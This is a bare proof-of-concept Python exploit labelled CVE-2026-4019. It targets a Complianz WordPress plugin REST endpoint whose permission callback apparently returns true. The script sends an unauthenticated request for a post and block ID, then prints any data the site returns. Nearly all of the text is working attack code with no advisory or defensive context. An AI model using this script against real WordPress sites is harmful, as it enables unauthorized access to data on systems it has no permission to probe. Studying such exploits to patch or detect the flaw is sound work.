CVE-2026-4019

import requests # Target configuration target_url = "http://example.com/wp-json/complianz/v1/consent-area/{post_id}/{block_id}" # Replace with valid IDs found on the target post_id = 1 block_id = "abc123" # Construct the exploit URL exploit_url = target_url.format(post_id=post_id, block_id=block_id) # Send unauthenticated request # The vulnerability allows access because permission_callback is __return_true response = requests.get(exploit_url) if response.status_code == 200: print("[+] Vulnerability confirmed!") print("[+] Data retrieved:") print(response.json()) else: print("[-] Request failed or target not vulnerable")

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